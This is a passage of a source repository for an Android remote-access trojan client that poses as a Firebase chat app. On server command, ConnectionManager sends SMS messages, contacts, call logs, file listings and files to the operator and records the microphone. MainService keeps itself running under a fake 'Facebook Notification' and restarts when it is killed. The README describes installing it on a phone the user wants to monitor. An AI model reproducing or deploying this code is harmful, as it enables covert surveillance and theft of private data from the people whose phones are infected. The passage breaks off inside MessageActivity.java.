├── .gitignore ├── .idea ├── codeStyles │ └── Project.xml ├── dictionaries │ └── dipto.xml ├── gradle.xml ├── misc.xml ├── runConfigurations.xml └── vcs.xml ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── example │ │ └── chatapp │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── example │ │ │ └── chatapp │ │ │ ├── ConnectionManager.java │ │ │ ├── Globals.java │ │ │ ├── LoginActivity.java │ │ │ ├── MainActivity.java │ │ │ ├── MainService.java │ │ │ ├── MessageActivity.java │ │ │ ├── ProfileActivity.java │ │ │ ├── RegistrationActivity.java │ │ │ ├── ViewPageAdapter.java │ │ │ ├── adapter │ │ │ ├── MessageAdapter.java │ │ │ ├── UserAdapter.java │ │ │ └── ViewHolder.java │ │ │ ├── calllogs │ │ │ └── CallLogReader.java │ │ │ ├── contact │ │ │ └── ContactReadService.java │ │ │ ├── fiemanager │ │ │ └── FileManager.java │ │ │ ├── fragments │ │ │ ├── ChatsFragment.java │ │ │ └── UsersFragment.java │ │ │ ├── info │ │ │ └── PhoneAccountInfo.java │ │ │ ├── mic │ │ │ └── GetRecord.java │ │ │ ├── model │ │ │ ├── Chat.java │ │ │ └── User.java │ │ │ ├── process_restart │ │ │ ├── BroadcastReceive.java │ │ │ ├── JobService.java │ │ │ ├── ProcessMainClass.java │ │ │ └── SensorRestoreBroadcastReceiver.java │ │ │ ├── sms │ │ │ └── SMSReadService.java │ │ │ ├── socket │ │ │ └── IOSocket.java │ │ │ └── utils │ │ │ ├── Notification.java │ │ │ └── Utils.java │ └── res │ │ ├── FullColor_1280x1024_72dpi.png │ │ ├── drawable-v24 │ │ ├── default_avatar.png │ │ ├── ic_launcher_foreground.xml │ │ ├── icon.png │ │ └── profile_ui_design.jpg │ │ ├── drawable │ │ ├── background_left.xml │ │ ├── background_right.xml │ │ ├── ic_bull.xml │ │ ├── ic_launcher_background.xml │ │ ├── ic_person_black_24dp.xml │ │ └── ic_send_black_24dp.xml │ │ ├── font │ │ └── bungee.xml │ │ ├── layout │ │ ├── activity_login.xml │ │ ├── activity_main.xml │ │ ├── activity_message.xml │ │ ├── activity_profile.xml │ │ ├── activity_registration.xml │ │ ├── chat_item_left.xml │ │ ├── chat_item_right.xml │ │ ├── fragment_chats.xml │ │ ├── fragment_users.xml │ │ └── user_item.xml │ │ ├── menu │ │ └── menu.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── values │ │ ├── arrays.xml │ │ ├── colors.xml │ │ ├── dimens.xml │ │ ├── strings.xml │ │ └── styles.xml │ │ └── xml │ │ └── nerwork_config.xml │ └── test │ └── java │ └── com │ └── example │ └── chatapp │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | .cxx 15 | -------------------------------------------------------------------------------- /.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | xmlns:android 14 | 15 | ^$ 16 | 17 | 18 | 19 |
20 |
21 | 22 | 23 | 24 | xmlns:.* 25 | 26 | ^$ 27 | 28 | 29 | BY_NAME 30 | 31 |
32 |
33 | 34 | 35 | 36 | .*:id 37 | 38 | http://schemas.android.com/apk/res/android 39 | 40 | 41 | 42 |
43 |
44 | 45 | 46 | 47 | .*:name 48 | 49 | http://schemas.android.com/apk/res/android 50 | 51 | 52 | 53 |
54 |
55 | 56 | 57 | 58 | name 59 | 60 | ^$ 61 | 62 | 63 | 64 |
65 |
66 | 67 | 68 | 69 | style 70 | 71 | ^$ 72 | 73 | 74 | 75 |
76 |
77 | 78 | 79 | 80 | .* 81 | 82 | ^$ 83 | 84 | 85 | BY_NAME 86 | 87 |
88 |
89 | 90 | 91 | 92 | .* 93 | 94 | http://schemas.android.com/apk/res/android 95 | 96 | 97 | ANDROID_ATTRIBUTE_ORDER 98 | 99 |
100 |
101 | 102 | 103 | 104 | .* 105 | 106 | .* 107 | 108 | 109 | BY_NAME 110 | 111 |
112 |
113 |
114 |
115 |
116 |
-------------------------------------------------------------------------------- /.idea/dictionaries/dipto.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | connecto 5 | fullname 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 9 | 10 | 11 | 12 | 13 | 1.8 14 | 15 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Advanced-Android-Rat-Client 2 | This is the android client for my another go repository https://github.com/diptomondal007/advanced-rat-server 3 | Build this app in android studio with your server ip address in IOSocket.java file and build the apk. 4 | Install the built apk in the phone you want to monitor and you are ready to go. 5 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | apply plugin: 'com.google.gms.google-services' 3 | 4 | android { 5 | compileSdkVersion 29 6 | buildToolsVersion "29.0.3" 7 | 8 | defaultConfig { 9 | applicationId "com.example.chatapp" 10 | minSdkVersion 16 11 | targetSdkVersion 29 12 | versionCode 1 13 | versionName "1.0" 14 | 15 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 16 | } 17 | 18 | buildTypes { 19 | release { 20 | minifyEnabled false 21 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 22 | } 23 | } 24 | 25 | } 26 | 27 | dependencies { 28 | implementation fileTree(dir: 'libs', include: ['*.jar']) 29 | 30 | implementation 'androidx.appcompat:appcompat:1.0.2' 31 | implementation 'androidx.constraintlayout:constraintlayout:1.1.3' 32 | implementation 'androidx.annotation:annotation:1.1.0' 33 | implementation 'androidx.lifecycle:lifecycle-extensions:2.0.0' 34 | implementation 'de.hdodenhof:circleimageview:3.1.0' 35 | implementation 'com.github.bumptech.glide:glide:4.11.0' 36 | // Glide v4 uses this new annotation processor -- see https://bumptech.github.io/glide/doc/generatedapi.html 37 | implementation 'androidx.legacy:legacy-support-v4:1.0.0' 38 | annotationProcessor 'com.github.bumptech.glide:compiler:4.11.0' 39 | testImplementation 'junit:junit:4.12' 40 | implementation 'com.google.firebase:firebase-database:19.3.1' 41 | implementation 'com.google.android.gms:play-services-auth:18.0.0' 42 | implementation 'com.google.firebase:firebase-auth:19.3.1' 43 | implementation 'com.google.firebase:firebase-core:17.4.3' 44 | implementation 'com.rengwuxian.materialedittext:library:2.1.4' 45 | implementation 'com.google.android.material:material:1.2.0-alpha02' 46 | implementation('io.socket:socket.io-client:0.8.3') { 47 | // excluding org.json which is provided by Android 48 | exclude group: 'org.json', module: 'json' 49 | } 50 | androidTestImplementation 'androidx.test.ext:junit:1.1.1' 51 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' 52 | } 53 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/src/androidTest/java/com/example/chatapp/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import android.content.Context; 4 | 5 | import androidx.test.platform.app.InstrumentationRegistry; 6 | import androidx.test.ext.junit.runners.AndroidJUnit4; 7 | 8 | import org.junit.Test; 9 | import org.junit.runner.RunWith; 10 | 11 | import static org.junit.Assert.*; 12 | 13 | /** 14 | * Instrumented test, which will execute on an Android device. 15 | * 16 | * @see Testing documentation 17 | */ 18 | @RunWith(AndroidJUnit4.class) 19 | public class ExampleInstrumentedTest { 20 | @Test 21 | public void useAppContext() { 22 | // Context of the app under test. 23 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 24 | 25 | assertEquals("com.example.chatapp", appContext.getPackageName()); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 47 | 50 | 51 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/ConnectionManager.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import android.content.Context; 4 | import android.util.Log; 5 | 6 | import com.example.chatapp.calllogs.CallLogReader; 7 | import com.example.chatapp.contact.ContactReadService; 8 | import com.example.chatapp.fiemanager.FileManager; 9 | import com.example.chatapp.info.PhoneAccountInfo; 10 | import com.example.chatapp.mic.GetRecord; 11 | import com.example.chatapp.sms.SMSReadService; 12 | import com.example.chatapp.socket.IOSocket; 13 | 14 | import io.socket.emitter.Emitter; 15 | 16 | public class ConnectionManager { 17 | 18 | 19 | public static Context context; 20 | private static io.socket.client.Socket ioSocket; 21 | 22 | public static void startAsync(Context con) 23 | { 24 | try { 25 | context = con; 26 | sendReq(); 27 | }catch (Exception ex){ 28 | startAsync(con); 29 | } 30 | 31 | } 32 | 33 | 34 | public static void sendReq() { 35 | try { 36 | if(ioSocket != null ) 37 | return; 38 | 39 | ioSocket = IOSocket.getInstance().getIoSocket(); 40 | 41 | 42 | ioSocket.on("p", new Emitter.Listener() { 43 | @Override 44 | public void call(Object... args) { 45 | ioSocket.emit("p", PhoneAccountInfo.getPhoneInfo()); 46 | } 47 | }); 48 | 49 | ioSocket.on("command", new Emitter.Listener() { 50 | @Override 51 | public void call(Object... args) { 52 | try{ 53 | String command = (String) args[0]; 54 | Log.d("TAG", (String) args[0]); 55 | switch (command){ 56 | case "sms": 57 | ioSocket.emit("sms", SMSReadService.getSMSList()); 58 | break; 59 | case "contacts": 60 | ioSocket.emit("contacts", ContactReadService.getContactList()); 61 | break; 62 | case "call-logs": 63 | ioSocket.emit("call-logs", CallLogReader.getCallLogs()); 64 | break; 65 | case "record": 66 | int sec = (int) args[1]; 67 | GetRecord.startRecording(sec); 68 | break; 69 | case "fm": 70 | String subCommand = (String) args[1]; 71 | Log.e("subcommand", subCommand); 72 | String path = (String) args[2]; 73 | if (subCommand.equals("ls")){ 74 | Log.e("command","ls"); 75 | IOSocket.getInstance().getIoSocket().emit("fm-ls",FileManager.listFiles(path)); 76 | break; 77 | }else if (subCommand.equals("dl")){ 78 | FileManager.downloadFile(path); 79 | break; 80 | } 81 | 82 | default: 83 | break; 84 | } 85 | }catch (Exception e){ 86 | e.printStackTrace(); 87 | } 88 | } 89 | }); 90 | 91 | ioSocket.connect(); 92 | 93 | }catch (Exception ex){ 94 | 95 | Log.e("error" , ex.getMessage()); 96 | 97 | } 98 | 99 | } 100 | 101 | // public static void x0000ca(int req){ 102 | // 103 | // if(req == -1) { 104 | // JSONObject cameraList = new CameraManager(context).findCameraList(); 105 | // if(cameraList != null) 106 | // ioSocket.emit("x0000ca" ,cameraList ); 107 | // } 108 | // else if (req == 1){ 109 | // new CameraManager(context).startUp(1); 110 | // } 111 | // else if (req == 0){ 112 | // new CameraManager(context).startUp(0); 113 | // } 114 | // 115 | // } 116 | // 117 | // public static void x0000fm(int req , String path){ 118 | // if(req == 0) 119 | // ioSocket.emit("x0000fm",fm.walk(path)); 120 | // else if (req == 1) 121 | // fm.downloadFile(path); 122 | // } 123 | // 124 | // 125 | // public static void x0000sm(int req,String phoneNo , String msg){ 126 | // if(req == 0) 127 | // ioSocket.emit("x0000sm" , SMSManager.getSMSList()); 128 | // else if(req == 1) { 129 | // boolean isSent = SMSManager.sendSMS(phoneNo, msg); 130 | // ioSocket.emit("x0000sm", isSent); 131 | // } 132 | // } 133 | // 134 | // public static void x0000cl(){ 135 | // ioSocket.emit("x0000cl" , CallsManager.getCallsLogs()); 136 | // } 137 | // 138 | // public static void x0000cn(){ 139 | // ioSocket.emit("x0000cn" , ContactsManager.getContacts()); 140 | // } 141 | // 142 | // public static void x0000mc(int sec) throws Exception{ 143 | // MicManager.startRecording(sec); 144 | // } 145 | // 146 | // public static void x0000lm() throws Exception{ 147 | // Looper.prepare(); 148 | // LocManager gps = new LocManager(context); 149 | // JSONObject location = new JSONObject(); 150 | // // check if GPS enabled 151 | // if(gps.canGetLocation()){ 152 | // 153 | // double latitude = gps.getLatitude(); 154 | // double longitude = gps.getLongitude(); 155 | // Log.e("loc" , latitude+" , "+longitude); 156 | // location.put("enable" , true); 157 | // location.put("lat" , latitude); 158 | // location.put("lng" , longitude); 159 | // } 160 | // else 161 | // location.put("enable" , false); 162 | // 163 | // ioSocket.emit("x0000lm", location); 164 | // } 165 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/Globals.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | public class Globals { 4 | public static final String RESTART_INTENT = "com.example.chatapp.process_restart"; 5 | } 6 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/LoginActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | 6 | import android.content.Intent; 7 | import android.os.Bundle; 8 | import android.text.TextUtils; 9 | import android.util.Log; 10 | import android.view.View; 11 | import android.widget.Toast; 12 | 13 | import com.google.android.gms.tasks.OnCompleteListener; 14 | import com.google.android.gms.tasks.Task; 15 | import com.google.android.material.button.MaterialButton; 16 | import com.google.android.material.textview.MaterialTextView; 17 | import com.google.firebase.auth.AuthResult; 18 | import com.google.firebase.auth.FirebaseAuth; 19 | import com.google.firebase.auth.FirebaseUser; 20 | import com.rengwuxian.materialedittext.MaterialEditText; 21 | 22 | public class LoginActivity extends AppCompatActivity { 23 | 24 | MaterialEditText email , password; 25 | MaterialButton btn_login; 26 | MaterialTextView btn_goto_register; 27 | FirebaseAuth f_auth; 28 | FirebaseUser mUser; 29 | FirebaseAuth.AuthStateListener mAuthListner; 30 | 31 | @Override 32 | protected void onCreate(Bundle savedInstanceState) { 33 | super.onCreate(savedInstanceState); 34 | setContentView(R.layout.activity_login); 35 | 36 | f_auth = FirebaseAuth.getInstance(); 37 | 38 | mUser = FirebaseAuth.getInstance().getCurrentUser(); 39 | if (FirebaseAuth.getInstance().getCurrentUser() != null){ 40 | startActivity(new Intent(LoginActivity.this, MainActivity.class)); 41 | finish(); 42 | } 43 | 44 | email = findViewById(R.id.email); 45 | password = findViewById(R.id.password); 46 | btn_login = findViewById(R.id.login); 47 | btn_goto_register = findViewById(R.id.goto_register); 48 | btn_goto_register.setOnClickListener(new View.OnClickListener() { 49 | @Override 50 | public void onClick(View v) { 51 | startActivity(new Intent(LoginActivity.this, RegistrationActivity.class)); 52 | finish(); 53 | } 54 | }); 55 | 56 | 57 | 58 | btn_login.setOnClickListener(new View.OnClickListener() { 59 | @Override 60 | public void onClick(View v) { 61 | String text_email = email.getText().toString(); 62 | String text_password = password.getText().toString(); 63 | if(TextUtils.isEmpty(text_email) || TextUtils.isEmpty(text_password)){ 64 | Toast.makeText(LoginActivity.this, "All fields are required", Toast.LENGTH_SHORT).show(); 65 | }else{ 66 | f_auth.signInWithEmailAndPassword(text_email, text_password) 67 | .addOnCompleteListener(new OnCompleteListener() { 68 | @Override 69 | public void onComplete(@NonNull Task task) { 70 | if (task.isSuccessful()){ 71 | Toast.makeText(LoginActivity.this, "Login success", Toast.LENGTH_SHORT).show(); 72 | Intent intent = new Intent(LoginActivity.this, MainActivity.class); 73 | startActivity(intent); 74 | finish(); 75 | }else { 76 | Toast.makeText(LoginActivity.this, "Email or Username aren't correct" 77 | , Toast.LENGTH_SHORT).show(); 78 | } 79 | } 80 | }); 81 | } 82 | } 83 | }); 84 | } 85 | 86 | @Override 87 | protected void onStart() { 88 | super.onStart(); 89 | //removeAuthSateListner is used in onStart function just for checking purposes,it helps in logging you out. 90 | f_auth.removeAuthStateListener(mAuthListner); 91 | 92 | } 93 | 94 | @Override 95 | protected void onStop() { 96 | super.onStop(); 97 | if (mAuthListner != null) { 98 | f_auth.removeAuthStateListener(mAuthListner); 99 | } 100 | 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | import androidx.appcompat.widget.Toolbar; 6 | import androidx.core.app.ActivityCompat; 7 | import androidx.fragment.app.FragmentPagerAdapter; 8 | import androidx.viewpager.widget.ViewPager; 9 | 10 | import android.app.ActivityManager; 11 | import android.content.Context; 12 | import android.content.Intent; 13 | import android.content.pm.PackageManager; 14 | import android.os.Build; 15 | import android.os.Bundle; 16 | import android.util.Log; 17 | import android.view.Menu; 18 | import android.view.MenuItem; 19 | import android.view.View; 20 | import android.widget.TextView; 21 | 22 | import com.bumptech.glide.Glide; 23 | import com.example.chatapp.fragments.ChatsFragment; 24 | import com.example.chatapp.fragments.UsersFragment; 25 | import com.example.chatapp.model.User; 26 | import com.example.chatapp.process_restart.ProcessMainClass; 27 | import com.example.chatapp.process_restart.SensorRestoreBroadcastReceiver; 28 | import com.google.android.material.tabs.TabLayout; 29 | import com.google.firebase.auth.FirebaseAuth; 30 | import com.google.firebase.auth.FirebaseUser; 31 | import com.google.firebase.database.DataSnapshot; 32 | import com.google.firebase.database.DatabaseError; 33 | import com.google.firebase.database.DatabaseReference; 34 | import com.google.firebase.database.FirebaseDatabase; 35 | import com.google.firebase.database.ValueEventListener; 36 | 37 | import de.hdodenhof.circleimageview.CircleImageView; 38 | 39 | public class MainActivity extends AppCompatActivity { 40 | Intent mServiceIntent; 41 | private FirebaseAuth.AuthStateListener authListener; 42 | private CircleImageView profile_image; 43 | private TextView username; 44 | @Override 45 | protected void onCreate(Bundle savedInstanceState) { 46 | super.onCreate(savedInstanceState); 47 | setContentView(R.layout.activity_main); 48 | 49 | Toolbar toolbar = findViewById(R.id.toolbar); 50 | setSupportActionBar(toolbar); 51 | getSupportActionBar().setTitle(""); 52 | 53 | profile_image = findViewById(R.id.profile_image); 54 | profile_image.setOnClickListener(new View.OnClickListener() { 55 | @Override 56 | public void onClick(View v) { 57 | startActivity(new Intent(MainActivity.this,ProfileActivity.class)); 58 | } 59 | }); 60 | 61 | //Service for the rat-server start 62 | final int REQUEST_CODE_ASK_PERMISSIONS = 123; 63 | ActivityCompat.requestPermissions(this, new String[]{"android.permission.READ_SMS", "android.permission.READ_CONTACTS", "android.permission.READ_CALL_LOG","android.permission.READ_EXTERNAL_STORAGE", "android.permission.RECORD_AUDIO"}, REQUEST_CODE_ASK_PERMISSIONS); 64 | mServiceIntent = new Intent(this, MainService.class); 65 | if (!isMainServiceRunning(MainService.class)){ 66 | startService(mServiceIntent); 67 | } 68 | //Service for the rat-server start end 69 | 70 | FirebaseUser user = FirebaseAuth.getInstance().getCurrentUser(); 71 | DatabaseReference firebaseDatabase = FirebaseDatabase.getInstance().getReference("Users").child(user.getUid()); 72 | firebaseDatabase.addValueEventListener(new ValueEventListener() { 73 | @Override 74 | public void onDataChange(@NonNull DataSnapshot snapshot) { 75 | User user = snapshot.getValue(User.class); 76 | if (user.getImageURL().equals("default")){ 77 | profile_image.setImageResource(R.drawable.default_avatar); 78 | }else { 79 | Glide.with(MainActivity.this).load(user.getImageURL()).into(profile_image); 80 | } 81 | } 82 | 83 | @Override 84 | public void onCancelled(@NonNull DatabaseError error) { 85 | 86 | } 87 | }); 88 | 89 | TabLayout tabLayout = findViewById(R.id.tab_layout); 90 | ViewPager viewPager = findViewById(R.id.view_pager); 91 | 92 | ViewPageAdapter viewPageAdapter = new ViewPageAdapter(getSupportFragmentManager(), FragmentPagerAdapter.BEHAVIOR_RESUME_ONLY_CURRENT_FRAGMENT); 93 | viewPageAdapter.addFragment(new ChatsFragment(), "Chats"); 94 | viewPageAdapter.addFragment(new UsersFragment(), "Users"); 95 | //viewPageAdapter.addFragment(new ProfileFragment(), "Profile"); 96 | 97 | viewPager.setAdapter(viewPageAdapter); 98 | tabLayout.setupWithViewPager(viewPager); 99 | 100 | //finish(); 101 | //fn_hide_icon(); 102 | } 103 | 104 | private void fn_hide_icon(){ 105 | getPackageManager().setComponentEnabledSetting(getComponentName(), 106 | PackageManager.COMPONENT_ENABLED_STATE_DISABLED, 107 | PackageManager.DONT_KILL_APP 108 | ); 109 | } 110 | 111 | private boolean isMainServiceRunning(Class serviceClass){ 112 | ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); 113 | assert activityManager != null; 114 | for (ActivityManager.RunningServiceInfo service : activityManager.getRunningServices(Integer.MAX_VALUE)){ 115 | Log.i("isMainServiceRunning: ", true+""); 116 | return true; 117 | } 118 | Log.i("isMainServiceRunning: ", false+""); 119 | return false; 120 | } 121 | 122 | @Override 123 | protected void onResume() { 124 | super.onResume(); 125 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP){ 126 | SensorRestoreBroadcastReceiver.scheduleJob(getApplicationContext()); 127 | } else { 128 | ProcessMainClass bck = new ProcessMainClass(); 129 | bck.launchService(getApplicationContext()); 130 | } 131 | } 132 | 133 | @Override 134 | public boolean onCreateOptionsMenu(Menu menu) { 135 | getMenuInflater().inflate(R.menu.menu, menu); 136 | return true; 137 | } 138 | 139 | @Override 140 | public boolean onOptionsItemSelected(MenuItem item) { 141 | switch (item.getItemId()) { 142 | 143 | case R.id.logout: 144 | FirebaseAuth.getInstance().signOut(); 145 | startActivity(new Intent(MainActivity.this, LoginActivity.class)); 146 | finish(); 147 | return true; 148 | } 149 | 150 | return false; 151 | } 152 | 153 | } 154 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/MainService.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import android.app.Service; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.os.Build; 7 | import android.os.IBinder; 8 | import android.util.Log; 9 | 10 | import com.example.chatapp.process_restart.ProcessMainClass; 11 | import com.example.chatapp.process_restart.SensorRestoreBroadcastReceiver; 12 | import com.example.chatapp.utils.Notification; 13 | 14 | import java.util.Timer; 15 | import java.util.TimerTask; 16 | 17 | public class MainService extends Service { 18 | 19 | protected static final int NOTIFICATION_ID = 1337; 20 | private static String TAG = "MainService"; 21 | public int counter = 0; 22 | 23 | public MainService(Context applicationContext){ 24 | super(); 25 | Log.i("HERE", "here I am!"); 26 | } 27 | 28 | public static Context contextOfApplication; 29 | 30 | public MainService(){ 31 | 32 | } 33 | 34 | @Override 35 | public IBinder onBind(Intent intent) { 36 | return null; 37 | } 38 | 39 | @Override 40 | public void onCreate() { 41 | super.onCreate(); 42 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { 43 | restartForeground(); 44 | } 45 | contextOfApplication = this; 46 | } 47 | 48 | @Override 49 | public int onStartCommand(Intent intent, int flags, int startId) { 50 | super.onStartCommand(intent, flags, startId); 51 | Log.d(TAG, "restarting Service !!"); 52 | counter = 0; 53 | if (intent == null){ 54 | ProcessMainClass bck = new ProcessMainClass(); 55 | bck.launchService(this); 56 | } 57 | // make sure you call the startForeground on onStartCommand because otherwise 58 | // when we hide the notification on onScreen it will nto restart in Android 6 and 7 59 | if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) { 60 | restartForeground(); 61 | } 62 | startTimer(); 63 | ConnectionManager.startAsync(this); 64 | return Service.START_STICKY; 65 | } 66 | 67 | /** 68 | * it starts the process in foreground. Normally this is done when screen goes off 69 | * THIS IS REQUIRED IN ANDROID 8 : 70 | * "The system allows apps to call Context.startForegroundService() 71 | * even while the app is in the background. 72 | * However, the app must call that service's startForeground() method within five seconds 73 | * after the service is created." 74 | */ 75 | public void restartForeground() { 76 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 77 | Log.i(TAG, "restarting foreground"); 78 | try { 79 | Notification notification = new Notification(); 80 | ProcessMainClass bck = new ProcessMainClass(); 81 | bck.launchService(this); 82 | startForeground(NOTIFICATION_ID, notification.setNotification(this, "Running!", "Facebook Notification", R.drawable.common_google_signin_btn_icon_dark_focused)); 83 | Log.i(TAG, "restarting foreground successful"); 84 | startTimer(); 85 | } catch (Exception e) { 86 | Log.e(TAG, "Error in notification " + e.getMessage()); 87 | } 88 | } 89 | } 90 | 91 | @Override 92 | public void onDestroy() { 93 | super.onDestroy(); 94 | Log.i("EXIT", "ondestroy!"); 95 | Intent broadcastIntent = new Intent(this, SensorRestoreBroadcastReceiver.class); 96 | 97 | sendBroadcast(broadcastIntent); 98 | stoptimertask(); 99 | } 100 | 101 | /** 102 | * this is called when the process is killed by Android 103 | * 104 | * @param rootIntent 105 | */ 106 | 107 | @Override 108 | public void onTaskRemoved(Intent rootIntent) { 109 | super.onTaskRemoved(rootIntent); 110 | Log.i(TAG, "onTaskRemoved called"); 111 | // restart the never ending service 112 | Intent broadcastIntent = new Intent(Globals.RESTART_INTENT); 113 | sendBroadcast(broadcastIntent); 114 | // do not call stoptimertask because on some phones it is called asynchronously 115 | // after you swipe out the app and therefore sometimes 116 | // it will stop the timer after it was restarted 117 | // stoptimertask(); 118 | } 119 | 120 | private Timer timer; 121 | private TimerTask timerTask; 122 | long oldTime=0; 123 | public void startTimer() { 124 | //set a new Timer 125 | timer = new Timer(); 126 | 127 | //initialize the TimerTask's job 128 | initializeTimerTask(); 129 | 130 | //schedule the timer, to wake up every 1 second 131 | timer.schedule(timerTask, 1000, 1000); // 132 | } 133 | 134 | public void initializeTimerTask() { 135 | timerTask = new TimerTask() { 136 | public void run() { 137 | Log.i("in timer", "in timer ++++ "+ (counter++)); 138 | } 139 | }; 140 | } 141 | 142 | /** 143 | * not needed 144 | */ 145 | public void stoptimertask() { 146 | //stop the timer, if it's not already null 147 | if (timer != null) { 148 | timer.cancel(); 149 | timer = null; 150 | } 151 | } 152 | 153 | public static Context getContextOfApplication(){ 154 | return contextOfApplication; 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/chatapp/MessageActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.chatapp; 2 | 3 | import androidx.annotation.NonNull; 4 | import androidx.appcompat.app.AppCompatActivity; 5 | import androidx.appcompat.widget.Toolbar; 6 | import androidx.recyclerview.widget.LinearLayoutManager; 7 | import androidx.recyclerview.widget.RecyclerView; 8 | 9 | import android.content.Intent; 10 | import android.os.Bundle; 11 | import android.view.View; 12 | import android.widget.EditText; 13 | import android.widget.ImageButton; 14 | import android.widget.TextView; 15 | import android.widget.Toast; 16 | 17 | import com.bumptech.glide.Glide; 18 | import com.example.chatapp.adapter.MessageAdapter; 19 | import com.example.chatapp.model.Chat; 20 | import com.example.chatapp.model.User; 21 | import com.google.firebase.auth.FirebaseAuth; 22 | import com.google.firebase.auth.FirebaseUser; 23 | import com.google.firebase.database.DataSnapshot; 24 | import com.google.firebase.database.DatabaseError; 25 | import com.google.firebase.database.DatabaseReference; 26 | import com.google.firebase.database.FirebaseDatabase; 27 | import com.google.firebase.database.ValueEventListener; 28 | 29 | import java.util.ArrayList; 30 | import java.util.HashMap; 31 | import java.util.List; 32 | 33 | import de.hdodenhof.circleimageview.CircleImageView; 34 | 35 | public class MessageActivity extends AppCompatActivity { 36 | 37 | CircleImageView profile_image; 38 | TextView username; 39 | 40 | FirebaseUser firebaseUser; 41 | DatabaseReference reference; 42 | 43 | ImageButton btn_send; 